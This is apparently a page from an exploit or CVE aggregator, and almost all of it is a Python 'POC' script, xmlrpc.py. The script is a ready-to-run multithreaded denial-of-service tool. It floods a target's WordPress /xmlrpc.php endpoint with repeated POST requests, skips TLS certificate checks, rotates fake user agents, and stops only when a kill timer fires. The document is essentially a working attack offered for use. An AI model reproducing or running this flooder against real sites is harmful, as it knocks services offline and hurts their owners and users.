4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / xmlrpc.py PY
from socket import socket , AF_INET , SOCK_STREAM
from threading import Thread as thr
from colorama import Fore , init
from sys import argv
from os import system , name , kill , getpid
from pystyle import Colorate , Colors
from urllib.parse import urlparse
from ssl import CERT_NONE , create_default_context
from certifi import where
from time import sleep
from fake_useragent import UserAgent

system('cls' if name == 'nt' else 'clear')

red = Fore.LIGHTRED_EX; green = Fore.LIGHTGREEN_EX; blue = Fore.LIGHTBLUE_EX; yellow = Fore.LIGHTYELLOW_EX; cyan = Fore.LIGHTCYAN_EX; white = Fore.LIGHTWHITE_EX; magenta = Fore.LIGHTMAGENTA_EX

banner = """
▐▄• ▄ • ▌ ▄ ·. ▄▄▌  ▄▄▄   ▄▄▄· ▄▄·     ▄▄▄ .▐▄• ▄  ▄▄▄·▄▄▌        ▪️  ▄▄▄▄▄
 █▌█▌▪️·██ ▐███▪️██•  ▀▄ █·▐█ ▄█▐█ ▌▪️    ▀▄.▀· █▌█▌▪️▐█ ▄███•  ▪️     ██ •██   . Created By Exploit
 ·██· ▐█ ▌▐▌▐█·██▪️  ▐▀▀▄  ██▀·██ ▄▄    ▐▀▀▪️▄ ·██·  ██▀·██▪️   ▄█▀▄ ▐█· ▐█.▪️  . Team Pytho Learn
▪️▐█·█▌██ ██▌▐█▌▐█▌▐▌▐█•█▌▐█▪️·•▐███▌    ▐█▄▄▌▪️▐█·█▌▐█▪️·•▐█▌▐▌▐█▌.▐▌▐█▌ ▐█▌·  . Use Powerfull xD
•▀▀ ▀▀▀▀  █▪️▀▀▀.▀▀▀ .▀  ▀.▀   ·▀▀▀      ▀▀▀ •▀▀ ▀▀.▀   .▀▀▀  ▀█▄▀▪️▀▀▀ ▀▀▀ """

print(Colorate.Horizontal(Colors.green_to_cyan , banner , 2))

try:
    url = str(argv[1])
    port = int(argv[2])
    threads = int(argv[3])
    rpc = int(argv[4])
    timmer = int(argv[5])
except:
    print(f"\n{red}[{yellow}+{red}] {green}{'python' if name == 'nt' else 'python3'} {argv[0]} {white}<{cyan}url{white}> <{cyan}port{white}> <{cyan}threads{white}> <{cyan}rpc{white}> <{cyan}time{white}>\n")

ssl = create_default_context(cafile=where())
ssl.check_hostname = False
ssl.verify_mode = CERT_NONE

try:
    parse = urlparse(url)
    target = parse.netloc
    us = UserAgent()
    ua = us.random
except:
    pass

def main():
    while True:
        try:
            if url.split('://')[0] == 'https':
                s = socket(AF_INET , SOCK_STREAM)
                s = ssl.wrap_socket(s , server_hostname=target)
                s.connect((target , port))
            else:
                s = socket(AF_INET , SOCK_STREAM)
                s.connect((target , port))
            for _ in range(rpc):
                payl = f'POST /xmlrpc.php HTTP/1.1\r\nHost: {target}\r\nUser-Agent: {ua}\r\nContent-Length: 131\r\n<?xml version="1.0" encoding="utf-8"?>\r\n<methodCall>\r\n<methodName>system.listMethods</methodName>\r\n<params></params>\r\n</methodCall>\r\n\r\n'.encode()
                s.send(payl)
        except:
            pass

def timer():
    sleep(timmer) ; kill(getpid() , 9)

try:
    print(f'\n{red}[{yellow}+{red}]{green} Attack Started {white}URL {red}: {magenta}{url} {red}| {cyan}Time : {green}{timmer}')
    thr(target=timer).start()
    for _ in range(threads):
        thr(target=main).start()
except:
    pass